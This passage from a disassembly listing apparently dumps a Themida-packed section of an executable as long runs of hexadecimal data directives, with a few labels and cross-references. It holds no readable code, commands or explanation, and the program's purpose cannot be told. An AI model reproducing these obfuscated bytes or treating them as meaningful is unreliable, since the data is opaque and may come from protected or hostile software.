51F1E82Bh dd 17EE173Fh, 3DC1126Eh, 3CD1F530h, 0CC14AC68h, 3626D8FFh dd 80690B27h, 9980AF47h, 36116910h, 68000000h, 8AEA4017h dd 8FE8117Bh, 89EE5660h, 0AB26734Ah, 174D760Eh, 0E863494Fh dd 4F7751F1h, 2E141A20h, 5751F1E8h, 6E17C8F1h, 0D3FCC112h dd 2F8C4A17h, 0EFFC2B83h, 911148h, 13680000h, 0AFB5FDA9h dd 51F1E7B1h, 7E3B9663h, 0C74B7AD2h, 0F0E6F39Fh, 12C079CBh dd 0B3CEF7C4h, 0FBAB13CAh, 0B1540DD2h, 1EDE5C4h, 0D7E6EDBAh dd 3EA4D32Bh, 26h, 0FBAB1355h, 884A17D2h, 0F8FE0433h, 51F1E812h dd 17D5FE26h, 0FCC1126Eh, 874A17D3h, 4FF60332h, 3611h dd 0AB136800h, 4A17D2FBh, 2E863287h, 0DF3F9FFh, 3651F1E8h dd 6E17A7D0h, 7F8C4A17h, 0F1E79379h, 0E77FA751h, 0A9B4E33Bh dd 106A932Ah, 967C824Ah, 0AA51F1E7h, 126C5382h, 3E4BF7C4h dd 0F6D3259Ah, 0E92FDBE0h, 51F1E805h, 4EE6A446h, 14EB3388h dd 8797AA56h, 0DEEE1D38h, 3AE6D501h, 0F68E51ECh, 0DF0EAD29h dd 9F37CD8Dh, 80EECA1Ch, 6D05B81Bh, 25601F25h, 0C79457E5h dd 0E1DCF70Fh, 1645DD35h, 78BE6A92h, 58060496h, 0FD03CBA1h dd 58060517h, 82D4032Bh, 0D49ACBC0h, 3B64F8D9h, 5C000000h dd 0CA76498Fh, 175C4372h, 0E863494Fh, 0E1F051F1h, 0BBEA12D8h dd 0F1E026B0h, 7C8430C8h, 15753CA5h, 2453255Dh, 0F2E3FAE0h dd 12E93F51h, 3ADB040Eh, 398BBA3Ah, 0C8F3E319h, 0C412BD76h dd 0BFD8AFF7h, 0D3377825h, 0CAD6406Fh, 8EEF55Ch, 61678003h dd 38A4EEC5h, 9830C804h, 6C4F8350h, 0CD31373Dh, 0DD57E926h dd 198763B5h, 0DCDDF8C5h, 0C287056h, 30A78458h, 0F189E18Dh dd 72491159h, 6F1E11CDh, 4473A1h, 5DFF5D41h, 0DD23CFF7h dd 5E203CFBh, 2DA6E406h, 0F2BF9D38h, 72585E26h, 865E2049h dd 4AC92F5Eh, 0E0000000h, 0B5FDA913h, 0F1E7B9AFh, 806ED51h dd 0D7E2F3DAh, 27CD32Bh, 649E3B3h, 28D28818h, 0E3B0F890h dd 9298C7F2h, 0F8FE0DC5h, 51F27912h, 1E66FE26h, 2736347h dd 4776E02Ah, 365937h, 0C9910000h, 0F2E6DDC3h, 9AC9F151h dd 0FDA913B3h, 0E7BDAFB5h, 0CE951F1h, 0F24AF6C7h, 0D53B125Ah dd 8AC19410h, 7C3D94E1h, 587A474Dh, 4441B63h, 91CEE5BEh dd 6A233362h, 14711h, 5A7C4900h, 0EA9627ACh, 0E4CBFA92h dd 0B4FCAA13h, 0E800E6ECh, 0EC1451F1h, 0CAB3D6BDh, 0AFF7C412h dd 33191FE7h, 4751F1E8h, 0E7B3991Fh, 3F4551F1h, 51F1E859h dd 0A27F456Dh, 87DF8B30h, 194298EFh, 0ACCC1CA3h, 540D967Dh dd 0EDE5C4B1h, 295A01h, 17710000h, 2318E4Ah, 0B6DF8FF8h dd 0E82B1117h, 0F0BD51F1h, 0EAF24E2h, 9BC34776h, 126E1772h dd 10D2FBC0h, 3B1169h, 13680000h, 17D3FCAAh, 0E863494Fh dd 0E7F051F1h, 323810D6h, 51F1E84Ch, 71A03860h, 0E87F656Bh dd 42A851F1h, 784F1719h, 0C65BB69Ah, 50376636h, 753CC012h dd 0B617F6EFh, 10CAF38Bh, 42C41269h, 67902895h, 0AB13CAB3h dd 540DD2FBh, 0EDE5C4B1h, 215A01h, 13710000h, 17D2FBABh dd 6C51824Fh, 0E813F93Dh, 0FF2751F1h, 126E17D6h, 10D3FCC1h dd 341169h, 13680000h, 0E6B3FBABh, 0C71FCBF0h, 1117B198h dd 51F1E82Bh, 239A3954h, 757B438Bh, 51F1E78Fh, 654C7BA3h dd 50824F17h, 12553C6Bh, 318C47C1h, 6C952D85h, 4A176910h dd 0F9043388h, 442A30DFh, 5851F1E8h, 0FCE2E830h, 1051F1E7h dd 5EA450E8h, 51F1E87Bh, 0BA7210E2h, 964FA11Eh, 4DF9C612h dd 554D6E45h, 0AA263696h, 5768707Bh, 20C3380Fh, 0D33972A4h dd 0F44B66DDh, 95C427E4h, 6B31E2Bh, 78864D5Ah, 0A93D33A4h dd 0B35FF7E6h, 1B9EBC5Eh, 0AF450569h, 2E449629h, 51F20F0Bh dd 26B27FC7h, 68FE6A99h, 98FEECE5h, 0FFFFFE74h, 0E7F7D9AFh dd 0E14351F1h, 2D51F1E7h, 51F1E948h, 0F5C80BD8h, 553B4149h dd 6951F1E9h, 367AA941h, 51F1E954h, 0F1E8BEA0h, 0E9280A51h dd 40AE91F1h, 7A424890h, 4217E6E3h, 40AD21Ah, 1808E31Eh dd 7A424B32h, 7FD96123h, 464EB8E7h, 0AAB05F79h, 18089DC4h dd 6C18B0D8h, 6DDBE514h, 107379C1h, 1E1DFCA3h, 9A8C18F6h dd 0C7B17893h, 2ECB9h, 437C6000h, 0FEBF14F1h, 0B803CFACh dd 6D4C8966h, 24993E1Bh, 911F99D2h, 48257746h, 1DE3089h dd 0B996E8D7h, 404C9E1Dh, 52CCB2B8h, 0E5E0580Bh, 8B4A177Eh dd 0E2F4FF2Eh, 0E83D2329h dd 295151F1h, 29C1FADCh, 2D1319E1h, 0B051F1E8h, 324FCA96h dd 0FECB279h, 0F54DF9C4h, 0B8C42E5Dh, 585EA64Ah, 57E8D0F8h dd 7086D800h, 580BD18Eh, 0B9DA4118h, 0A3280DA7h, 54FC6A74h dd 6753350Ch, 12D38E0Eh, 7FAE0DC5h, 93DAB179h, 0CC2E5049h dd 516869B6h, 65C2DE22h, 0A325E01h, 0AA2DFAC2h, 7D5A6713h dd 6E79A840h, 24015368h, 0F4C109B2h, 0ED8B1AE2h, 8EEDF668h dd 0C3F24AF6h, 6A191359h, 51BF5E24h, 0E75F65ADh, 0F641ACEh dd 0D1D79FE7h, 643DCDEBh, 0A2A8D7FFh, 72BA01D5h, 5D8C33A5h dd 0A066704Dh, 45338A33h, 0A40C2452h, 4C58049Ch, 13EA32DEh dd 487124B0h, 2329585Eh, 337FB91Dh, 59A1C96Ah, 26A4C582h dd 216E3852h, 6DD706B5h, 34BF361h, 0EE1DA236h, 61D2E2E8h dd 0E1B8704Ch, 0EB7F3DA2h, 0AA62B96Ch, 278977F4h, 4C74F827h dd 1C9F3704h, 22E9EDCAh, 6FA7361Ch, 8A224A70h, 0C0B698DEh dd 7840706Eh, 6FC08C72h, 4978A070h, 0B6ED13Fh, 0E829D87Ah dd 4DF9C214h, 7DC55DF5h, 66421777h, 4BF71F76h, 0E52DD13Fh dd 7C6D9CDFh, 64426A7Ch, 1A12F04Ah, 720F1D07h, 0DA000001h dd 8E6BBD02h, 49267845h, 3E03289h, 0B895E7D2h, 134C9E1Fh dd 0F1CC0BA5h, 0AA0FC29Fh, 625D7B58h, 18A33310h, 2C32BAC6h dd 580B5446h, 13F85F5Ah, 2C8D44A5h, 0DAE02880h, 51F1E7F4h dd 48E008h, 15E46138h, 45CACC5h, 5E3191D5h, 113957E8h dd 43EB5965h, 0AE92F5FBh, 0C3A05DFEh, 0A4FCA813h, 0AE8A2E0Ch dd 0F1DB3890h, 104E3h, 2B944800h, 0E6D7FCD9h, 0A01BB794h dd 5564714Eh, 0CB12603h, 793781BAh, 300D5F5Eh, 0E9C618A1h dd 0A17ED0EFh, 28348635h, 54B49AA0h, 0CDC8580Bh, 0F9A51366h dd 0B51CE9B1h, 1991D504h, 4157E84Ch, 76606D19h, 0C016F345h dd 0D5434FFBh, 0BFDBE129h, 2F5E01ADh, 0F5E8BF07h, 2C2ACEA9h dd 9A7787B6h, 6F3C8439h, 14245366h, 886E743Ch, 9C5E24E3h dd 0E3D8BEC4h, 0C4EC5E24h, 0E0F2FD2Ch, 29AC89DBh, 5B7B4890h dd 0F9C41360h, 0B6C6F54Dh, 6DBFFED9h, 4CB74790h, 0F788254Fh dd 118C7278h, 78A05E24h, 330048E0h, 18701C9Fh, 0D5FCD9E9h dd 23B592E4h, 1200E6ECh, 10835E24h, 9150F1A1h, 29AD8A50h dd 1062FA92h, 0C618A333h, 0B61CE8E9h, 0E6AB0D46h, 0C961ECC1h dd 0E52DC51Dh, 5400B918h, 0E1BDCDFCh, 0BB83CB73h, 0A8D7E4EEh dd 1A4F4864h, 0E490B864h, 6ABCFFD7h, 0C8Ch, 5EE4E300h dd 4B39AA87h, 0A7D68A76h, 0F5CA12C0h, 219A3C49h, 4F706875h dd 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch, 33884A57h dd 64597A87h, 126833B8h, 54000056h, 8324048Fh, 56042404h dd 0C681E689h, 4, 4EE81h, 34870000h, 14895C24h, 6506824h dd 34890000h, 6DBE5624h, 0BA695B0Bh, 20BE78D1h, 815EF231h dd 0CC100AEAh, 762B6843h, 24890000h, 24048124h, 4, 2C81525Eh dd 0E8223424h, 8468F47h, 34084681h, 8B47E822h, 89512434h dd 4C181E1h, 81000000h, 4C1h, 240C8700h, 2434FF5Ch, 4C4815Ah dd 0E9000000h, 0FFFB0F3Bh, 0EB02EB2Bh, 18E944FBh, 6E5FB86Ch dd 0C5030619h, 8D8DC38Bh, 6196FF3h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 56C35646h, 0DA96EADEh, 0D98B5174h dd 4D858958h, 89061405h, 1432298Dh, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0B589C7EFh dd 61416B5h, 64D85C7h, 68A80614h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0D4DC7C3h dd 0DA282172h, 5E8h, 8DAE5E00h, 9D8B1306h, 6141039h, 7185C75Fh dd 61426h, 0B000000h, 140909B5h, 49B5FF06h, 0E906140Dh dd 8, 0E4DCE8Ah, 216A6840h, 236195FFh, 6A0614h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 60914EC3h, 76675CC0h, 0E952F862h, 0Ah, 0EF22E261h, 0B75B66C8h dd 6A5B2651h, 6995FF00h, 8B061411h, 0DF49EBC0h, 3507BB53h dd 475AC8A3h, 2026003h, 0BF0FA95Ch, 2B017321h, 0EC4617C5h dd 2B736375h, 8391435Fh, 6A9457BBh, 6548AD95h, 0F9F901B1h dd 0ED7F1A41h, 9B03F0F2h, 63739BDBh, 625F44D1h, 28D3BF71h dd 0AED0ACACh, 5F292FAFh, 13CE9h, 4Fh dup(0) dd 79BD8300h, 106141Dh, 489840Fh, 840F0000h, 0Fh, 0AE9h dd 7921C500h, 976B14A8h, 0C6D9DAEDh, 141A5985h, 0E9604306h dd 9, 0FD6126A7h, 450C55DBh, 0CE8F0h, 0BF3E0000h, 0AE858BC6h dd 3A5E444Ah, 59F82AEAh, 64C46861h, 6E9C85Eh, 27000000h dd 0FB3EBBBCh, 24048129h, 24476C31h, 0D1B5FFFCh, 0F06141Ah dd 789h, 18B0F00h, 0F5000000h, 80DB858Dh, 0FFF80617h, 138C0FD0h dd 60000000h, 0AE8F5h, 13630000h, 0EA76FF86h, 29768C7Eh dd 85896159h, 6141A85h, 5985C6F5h, 5006141Ah, 4E8F5h, 0AD560000h dd 820FA8ADh, 0Eh, 61605250h, 5250310Fh, 585A310Fh, 6050585Ah dd 1B9581BBh, 0F87BB4Ch, 8B615E1Eh, 60042444h, 60DF8B66h dd 0BF669BB3h, 6161BABCh, 0E960008Bh, 0Eh, 92327535h, 46F76BB4h dd 4C80C1CCh, 89619FA9h, 60042444h, 84A84DBEh, 61CF8A67h dd 81666058h, 0E93512C6h, 7, 0FA4F9659h, 61871517h, 1AD1B5FFh dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 183FCEC3h, 858D0DF2h, 61780DBh, 0FE9h, 839E2600h dd 33683F5Eh, 0C973E9A1h, 50C58AB8h, 870FD0FFh, 0Ch, 7E9h dd 37F2EA00h, 9D4F4F91h, 3C98589h, 68F50614h, 0CC5B6369h dd 0F17B660h, 1682h, 11E900h, 412C0000h, 6491CA57h, 0AE2369A3h dd 4CE839B8h, 611F4411h, 46243481h, 6A3CD4CBh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 56D5C353h, 1A54A054h, 0E91D6F94h, 10h, 64EA1419h, 5FCEAC82h dd 0F7EF570Ch, 88C1849Ah, 1AD1B5FFh, 60600614h, 61D6BF0Fh dd 2870Fh, 0FA8B0000h, 0DB858D61h, 0F8061780h, 860FD0FFh dd 15h, 0F8A0Fh, 0AE90000h, 54000000h, 8E257A9h, 667C2C59h dd 958589C7h, 0F06141Bh, 78Ah, 18B0F00h, 0FC000000h, 1A5985C6h dd 60500614h, 0E932C580h, 0Eh, 0A30378B9h, 0A744D9FEh dd 3485C9B6h, 0E8615C25h, 4, 979CDC56h, 12E860h, 214A0000h dd 0A73BE290h, 265962F7h, 72D2F3h, 8819F784h, 8D0Fh, 0B95B0000h dd 410094D3h, 810F5061h, 16h, 11E9h, 838CA100h, 1BA6E3C4h dd 0CFC0696Eh, 7F2C02B2h, 448BFBCFh, 880F0424h, 0Eh, 61605250h dd 5250310Fh, 585A310Fh, 8B585Ah, 128E0Fh, 52500000h, 5E9h dd 16D6C600h, 310FF928h, 585A6160h, 4244489h, 615FBB60h dd 8B662172h, 6A5861F8h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0E6E8C355h, 0F987A1A9h dd 0AD7AB257h, 1145B5FFh, 8DF90614h, 143B1385h, 9E906h dd 6CF50000h, 833A0180h, 0FF401FDAh, 820FF9D0h, 1, 0A98589F5h dd 0F9061430h, 16EE9h, 0CE900h, 48BD0000h, 0D8AE0395h dd 4A34B445h, 6050D402h, 0ABD4B866h, 242C8961h, 0C820Fh dd 840F0000h, 6, 880Fh, 0EC8B0000h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 0C7C35747h, 6016051Ah, 0FCC48361h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 9BC35242h dd 0E9FCF3BAh, 6, 3906036Dh, 0F960693Eh, 0E8h, 0EA815A00h dd 619752Eh, 0FC45C7h, 83000000h, 141D79BAh, 840F0106h dd 98h, 6A006A52h, 8592FF0Fh, 5A06141Ah, 70468289h, 9A8D0619h dd 619704Ah, 2803C752h, 53000001h, 0C992FF50h, 5A061403h dd 4A9A8D52h, 53061970h, 7046B2FFh, 92FF0619h, 61430A9h dd 74C00B5Ah, 4A9A8D50h, 8D061970h, 0C933247Bh, 104F981h dd 0D4740000h, 393C8141h, 4558452Eh, 348DEE75h, 0C752B39h dd 3231BA8Dh, 4D8B0614h, 32A4F30Ch, 0FF52AAC0h, 828D0875h dd 6143231h, 9592FF50h, 5A06141Bh, 0A075C00Bh, 1FC45C7h dd 0EB000000h, 0FC45C707h, 0 dd 0FC458B61h, 8C2C9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0B1C35646h, 923D1BABh, 0D648E8C5h, 5E950h dd 31E10000h, 8BAE0214h, 0EE8D2h, 0A74F0000h, 50D2791Bh dd 0C8BFA025h, 0E328D0D6h, 7E8h, 4657ED00h, 624C432Ch dd 24D68166h, 0E85A5E1Ch, 7, 0A68EBD55h, 0FCF08318h, 8C28158h dd 0E8000066h, 0Fh, 98FF4887h, 7F94EAE4h, 61AC4BA7h, 0F99964Bh dd 687h, 8F0F00h, 5E000000h, 872F5BBBh, 0E2C3811Eh, 66E178E9h dd 0A8BF38Bh, 6E9h, 0FCB21900h, 816A2CFFh, 2A51CBE9h, 10E95Ch dd 0E3A60000h, 0F81CCB48h, 707840FEh, 80FB67C7h, 0E98126C6h dd 574BAB11h, 7E960h, 35120000h, 72F01BC0h, 617FB1E6h dd 8549C181h, 0E9607088h, 0Dh, 8D5C4687h, 0A4112CDCh, 9CCBC83Ah dd 61D08B2Bh, 0FB8B6651h, 0EA83028Fh, 8830F01h, 0F000000h dd 287h, 4A616000h, 8A0F4A4Ah, 4, 5EC58A53h, 1EB81h, 850F0000h dd 1Ch, 0B8E0Fh, 8B0F0000h, 5, 38F68166h, 14E983h, 4CA80000h dd 43F36D51h, 0FFFF55E9h, 0AC3406FFh, 0B160B98h, 8D8D7FE4h dd 61977E9h, 2D69958Bh, 8D890614h, 6143229h, 0CA96ABB8h dd 0DE87Ch db 2 dup(0) word_5A0332 dw 4C4Eh ; DATA XREF: Themida_:0054BCF0o dd 0C1D1B63Fh, 1AC9B553h, 0E9AA0E77h, 0Eh, 14020A3Ch, 0ABE67AC5h dd 99C95256h, 0C75BCD54h, 14064D85h, 66F006h, 119D0900h dd 0C7061431h, 14267185h, 6, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 85CFA91Ch dd 663D95FAh, 0F88BD08Bh, 0C4DB5FFh, 10E90614h, 94000000h dd 0C67742EEh, 0EF143C73h, 60D799CAh, 0FF68F8D6h, 14236195h dd 7E906h, 763A0000h, 0E606E6FFh, 0FF006AEFh, 14116995h dd 0EBC08B06h, 25D444Ah, 5169B1DDh, 0D2AA53E0h, 0A095BFA3h dd 6E177D8Fh, 0E12E6BEDh, 0A933D047h, 17478B4h, 2C0919A6h dd 582CB54Ch, 0FBE770h, 0F87BC5F7h, 5B91AB57h, 0FA2B5098h dd 8BD495FBh, 0C2F452C3h, 67242D03h, 0B134B14Eh, 0E97BDC22h dd 34h, 663FC6A3h, 0Ch dup(0) dd 51FE9h, 6B548800h, 26973C19h, 0E0DBF7D4h, 9524B18Eh dd 4C716643h, 0B9F7C1FAh, 704D9F1Eh, 29065861h, 0E1BE10AFh dd 6874C6F5h, 5FF4DAE0h, 0D08580Bh, 0F7C412A6h, 0FBE1E7AFh dd 0F51F1E7h, 0E84B3137h, 375F51F1h, 0F906709Fh, 0B08DDFDEh dd 0DCE99526h, 250B11FAh, 3951F1E8h, 0C0CD7911h, 88FEAA13h dd 8CE6624h, 9DA36BB3h, 51F1E7B7h, 0D5EAEECBh, 0A39D129h dd 4BB1DFAh, 0BC03D5B2h, 0EBCE0310h, 0A48EA3Fh, 87D9E6F2h dd 0D9DF2CAAh, 51F1E7F3h, 9B47DF07h, 0F1E87255h, 5926EE51h dd 3F97437Ah, 79CBE10h, 0FEEDF15Eh, 65A0h, 0C412B700h dd 21054BF7h, 9F51F1E8h, 0F2C70AD7h, 0BAD171C3h, 0FEEDF1ABh dd 0A53h, 0E7744B00h, 1BD008B5h, 12DAC1F0h, 4350FCC1h dd 1DE52D90h, 0F1E83117h, 558BB451h, 0EFA44F5Ch, 68D20129h dd 933F7A5Bh, 0C4704D86h, 0F09C1FB7h, 79781A7Eh, 9235FC3h dd 0C4A1F3CAh, 7F57A912h, 0EBE721B2h, 348C38D0h, 0C5121E05h dd 943F4CF8h, 430AE129h, 9328AAC7h, 4384E33Ch, 0D438AA14h dd 64597EB6h, 1AA13512h, 4A71616Eh, 7441179Eh, 58B05C5Dh dd 20BBD729h, 0FEED9555h, 86C9h, 0DEF4C100h, 774890DDh dd 5D4473CBh, 4CF8C512h, 4A216D44h, 2C3994C0h, 0DBE0F2FDh dd 3555B92Fh, 93E5D8FFh, 0F09C21B6h, 7FC7F2E3h, 0F9AD18A8h dd 46939715h, 95FF2E8Bh, 35AEEC0Eh, 0FEEDA040h, 6EDEh dd 82FFD600h, 3E5263BBh, 8930A5F2h, 4017735Ah, 0D37DE0E4h dd 0B3BEED22h, 0B45CDA24h, 715A901Dh, 326F5BBh, 6F079FC6h dd 9D22B6C3h, 6E4F8855h, 0B136AC2h, 6DDAD3h, 4074DE0Dh dd 0D1063E5Ch, 12E19AECh, 3CA83DC1h, 7D299443h, 0C54DCE25h dd 1EF53DD5h, 0B54816FBh, 74DE0DD6h, 0F2914B2Eh, 97B3C751h dd 0ED4869FCh, 195FEh, 17AC0000h, 6A4F824Fh, 0F1E7FEE4h dd 0BBEA1251h, 0ED9922B0h, 0FDBE18E5h, 28914451h, 80566190h dd 51828F3Bh, 25B3C06Ch, 0F6E1EE9Ah, 0DC31BC7h, 7308E9A9h dd 3788501Dh, 0B204338Bh, 41946190h, 943E4978h, 0B586572h dd 0F149F5C8h, 0BD2B0759h, 0ACC3C911h, 2257E502h, 173E563Bh dd 983022B0h, 0C4F7DFECh, 9629AF7Ch, 8E4592EAh, 0FC2B832Fh dd 0F4C70FECh, 0A694048h, 0BA2CE796h, 47F3C60Fh, 0E42857EFh dd 58061D00h, 2DDC7E62h, 1ADC5956h, 0D605FBE5h, 5EB00BCBh dd 20B15581h, 0B7CCFADAh, 0A23AA3FAh, 5A069EF6h, 8632894Dh dd 5A92B014h, 2AF73F7Ch, 0D2E211AEh, 0D9B4D194h, 10B2DF8h dd 58250000h, 2A114079h, 0B1F9A513h, 0E50D74ABh, 0F7DBA857h dd 2A1195C4h, 0FF3F1DE2h, 0D9F845FCh, 44DC34E0h, 7DB99098h dd 82C9FCB5h, 27AFBAE9h, 71654294h, 0BF969E4Ah, 0ABD1B330h dd 0FB0635D4h, 0C234E0DBh, 0CE083C5Eh, 701C9D38h, 0F02E8018h dd 0F8D95D75h, 3489h, 0A613A000h, 0E4AAB0F8h, 36D1F1E7h dd 999F6E69h, 0D1F1E7B3h, 0D8079FC7h, 3A802C54h, 0D1F1E854h dd 5F96B4D8h, 0FE044CF2h, 51F1E838h, 0B492E40Ch, 81h, 0F9A5130Bh dd 10F0ABB1h, 4F1C57E5h, 3F8D7587h, 80D7864h, 3D6CC470h dd 0D8E591B9h, 5986FEFEh, 59F8DB5Bh, 44926FC1h, 74622F77h dd 14439B47h, 208364AAh, 0FBDF5806h, 8A31A55Fh, 42EE5C38h dd 0B7C5F4FAh, 2D95DFCh, 0C3E21101h, 4125A086h, 17748BFEh dd 1A9F327Fh, 63E7166Eh, 252BF33Bh, 5E1F7B3Fh, 6B20BCCh dd 91C0E8AEh, 0FFBC1A27h, 3E5CFE53h, 0ADF59907h, 161278A7h dd 94E60E64h, 0F9A513DBh, 7F7CABB1h, 0EA1257E8h, 0BA01D5A2h dd 1D87B60Eh, 0A3F5C610h, 0FFAB10C6h, 0F01A66B9h, 42006437h dd 0FCDA2CAAh, 23BB13BFh, 0D9E2F4D1h, 7A58252Dh, 878D9541h dd 0B8321AA1h, 0C6F58DB5h, 579F1ABBh, 2774498Ah, 9610DB0h dd 6F6370DAh, 2A7FF78Dh, 0CC645F44h, 0F7C21320h, 3654F64Bh dd 0DE7C1EB3h, 0C30BB026h, 0F60FF5FBh, 4792B831h, 12C8A478h dd 0A23512D8h, 7F176F1Bh, 0B8BB5F28h, 2FD2F7h, 43C313F0h dd 777F2B8Eh, 31F58B71h, 0DF779FB8h, 0F5AB9197h, 97BFB831h dd 164553FFh, 9C000000h, 2F8C4A17h, 5C617683h, 69C058B0h dd 0FB589679h, 134C7B51h, 0F5CA12ACh, 219A3C49h, 4F706875h dd 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch, 33884A57h dd 64597A87h, 0AC6833B8h, 8900001Dh, 81682434h, 89000023h dd 89572404h, 4C781E7h, 83000000h, 3C8704EFh, 34895C24h dd 0B8505124h, 20C45BF4h, 0D07E8C1h, 2553669Bh, 0DD8F748h dd 478B72ACh, 6A048805h, 58C18926h, 5459C889h, 8124348Bh dd 4C4h, 5A505200h, 5A085689h, 5024348Bh, 405E089h, 5000000h dd 4, 5C240487h, 582434FFh, 4C481h, 90E90000h, 1FFFFB00h dd 8628DD63h, 197D17B8h, 0FFC50306h, 0D32D00E0h, 6097AE43h dd 25DC5F60h, 435AAC32h, 0B4A8157Eh, 5196CE26h, 0D445A658h dd 0B3B3D874h, 5A8C4D5Fh, 51E8E834h, 13F10066h, 24635A12h dd 0F4080F77h, 0BE8D8D5Ah, 6A06197Eh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8AA5C351h dd 0E68166C5h, 8D8920F0h, 6143229h, 2DDBD8Bh, 85C70614h dd 614064Dh, 6AE4h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0A2C35141h, 9CC33D52h, 85C70863h, 6142671h dd 0 dd 0D79B589h, 0B5FF0614h, 6140591h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 4AC35545h, 0F0C809DDh, 291E7039h dd 1411558Dh, 13E906h, 1B7B0000h, 0CA63D6EDh, 0E01F3AB5h dd 29921951h, 0F4D90E84h, 6195FFC3h, 6A061423h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 1953C357h, 95177A3Ch, 19259D8Bh, 6A0614h, 116995FFh dd 0C08B0614h, 0C6617FEBh, 99221C35h, 3233E3FFh, 6F57630h dd 6BCDA2CBh, 0C29A6D4Eh, 159763B9h, 3F01FF07h, 7F151F15h dd 4A80CF7Eh, 0A0D95206h, 0F1D59723h, 0F34E59FAh, 4877047Ah dd 0CA72ACFh, 482A763Fh, 56E02E88h, 0F41DB1A9h, 5B7B5E67h dd 99A0EF4Ah, 5BC25CEDh, 339884D3h, 74A0B4D1h, 0A9443BC9h dd 0E018BD67h, 66A36B90h, 3F8653FCh, 0EE9E0B00h, 8A440664h dd 0D017DA9h, 153E4D7Eh, 764FC208h, 266E9BAh, 66600000h dd 0C1F6D98Ch, 35840F04h, 6A000000h, 45B5FF01h, 8D061411h dd 1780DB85h, 89D0FF06h, 140CBD85h, 0C1FE8B06h, 680CEFh dd 6A200600h, 57026A00h, 1000D68h, 0BD95FF00h, 0E906140Ch dd 32h, 1A5985C6h, 68560614h, 0A9C530DFh, 1AD1B5FFh, 858D0614h dd 61780DBh, 8589D0FFh, 6142C1Dh, 101858Dh, 6A500614h dd 56056A40h, 2C1D95FFh, 0C3610614h, 3 dup(0) dd 60D48B52h, 8908428Bh, 197FC585h, 0C428B06h, 7FBD8589h dd 428B0619h, 0C1858910h, 8D06197Fh, 197FFBB5h, 0A1858D06h dd 0FF005B8Eh, 0C25A61D0h, 0B58B000Ch, 6197FC5h, 7FBD858Bh dd 0BD830619h, 6197FC1h, 7840F00h, 89000000h, 2E906h, 6880000h dd 0CFh, 0 db 0 byte_5A0C05 db 52h, 8Bh, 0D4h ; DATA XREF: Themida_:00549654o dd 8428B60h, 7FC58589h, 0B58D0619h, 619804Ch, 8EA1858Dh dd 0D0FF005Bh, 858B5A61h, 6197FC5h, 8B0004C2h, 197FC585h dd 89008B06h, 197FC585h, 0CF06h db 2 dup(0) word_5A0C3E dw 8960h ; DATA XREF: Themida_:00549960o dd 198022B5h, 1E858906h, 8D061980h, 1412F585h, 44408B06h dd 805B8589h, 0B58D0619h, 6198091h, 8EA1858Dh, 0D0FF005Bh dd 22858B61h, 0C3061980h, 801E9D8Bh, 0B70F0619h, 0D8033C43h dd 3785B8Bh, 19801E9Dh, 24738B06h, 801EB503h, 8B560619h dd 738B207Bh, 1EBD031Ch, 3061980h, 19801EB5h, 0C983FC06h dd 9D8B41FFh, 6198022h, 9503178Bh, 619801Eh, 8A04C783h dd 0FC08402h, 0F84h, 0F033A00h, 0FFFFDC85h, 0E94243FFh dd 0FFFFFFE7h, 850F033Ah, 0FFFFFFCDh, 0FE1D15Fh, 8B0F04B7h dd 85038604h, 619801Eh, 80228589h, 0F08B0619h, 0C18BCE8Bh dd 805BBD81h, 619h, 850FC030h, 0Dh, 2514E8C1h, 0FFCh, 8E9h dd 12E8C100h, 3FF825h, 5BBD8B00h, 83061980h, 8B06070Ch dd 0C28B0714h, 813C8124h, 840FC18Bh, 57h, 805BBD81h, 619h dd 850FC030h, 0Dh, 250AE8C1h, 3FFFFCh, 8E9h, 9E8C100h dd 7FFFF825h, 2D00h, 8834000h, 8000F706h, 0F000000h, 1E84h dd 5BBD8100h, 61980h, 0FC03000h, 0E84h, 3FF82500h, 808B0000h dd 0C0600000h, 0CF060883h, 7FC9858Dh, 85890619h, 61431D1h dd 805F858Dh, 85890619h, 6140D81h, 8026858Dh, 85890619h dd 6140A75h, 1DCB1250h, 29EFBE28h, 0F0AD629Fh, 4B970B2h dd 78C5348Bh, 0FE14711Ch, 835784A5h, 31298449h, 0D3B9F06Ch dd 1FBD04AEh, 23D9896Dh, 3E153263h, 3114143Eh, 8B7254DDh dd 0BA72B624h, 0E7FD55B4h, 3E1434B8h, 31143254h, 51D3B5EEh dd 667AB05Ch, 9AD18EDDh, 3CA9B783h, 311220F5h, 3124B078h dd 0F89534BBh, 73A8E603h, 31179807h, 66145E77h, 31143753h dd 0F24B14DDh, 1568BDB1h, 1550B573h, 311421BFh, 0F24373DDh dd 0B51B5514h, 31143477h, 0B4996F0Dh, 370DB52Ch, 0D9453484h dd 31143474h, 68D76D9Bh, 35307854h, 3530706Fh, 31143461h dd 0BCD765FAh, 0BB1BAD33h, 311434E8h, 3080F5F6h, 61844121h dd 31143335h, 9D1D6EEh, 78E787D3h, 0A14EE331h, 0D94134B7h dd 311434EDh, 6CD76957h, 35305832h, 3530705Ch, 311434F7h dd 0CBD76132h, 0FADBFBA8h, 32903BB8h, 3E1434EEh, 0B499C6C0h dd 370DB568h, 3105B7D2h, 3DFD34EEh, 91143477h, 14D0D9CAh dd 4F93A4B1h, 0A18F6AE9h, 0D944DBFDh, 311434B3h, 8EAF5F95h dd 